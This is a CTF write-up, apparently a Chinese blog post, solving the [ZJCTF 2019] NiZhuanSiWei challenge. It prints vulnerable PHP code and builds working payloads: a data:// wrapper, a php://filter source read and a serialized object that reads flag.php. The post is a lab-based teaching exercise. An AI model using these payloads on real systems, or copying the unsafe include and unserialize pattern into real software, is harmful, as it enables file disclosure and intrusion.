[BUUOJ记录] [ZJCTF 2019]NiZhuanSiWei

考察PHP伪协议+反序列化,都比较简单

进入题目给出源码:

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

分析一下,首先是要求参数text file_get_contents的值等于welcome to the zjctf,用data伪协议,老套路了。

接下来是一个文件包含参数file中的文件,正则过滤了flag,同时给出了提示useless.php,这里可以用php://filter伪协议得到源码。

下面看看到unseriallize()函数不难想到反序列化,但是没有发现可利用的点,所以突破点还是在useless.php文件上。

构造第一个Payload来读一下useless.php的源码:

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到useless.php源码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

可以看到这里其实才是题目的突破点,结合上面的

$password = unserialize($password);
echo $password;

我们可以看到如果我们向参数password传一个Flag类中file的值,那么Flag类会得到并输出file的值,这里需要注意的是Flag类中的变量file和全局代码中的变量file不是同一个变量

构造反序列化Payload:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

得到最终的Payload:

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

得到Flag:

原文地址:https://www.cnblogs.com/yesec/p/12526325.html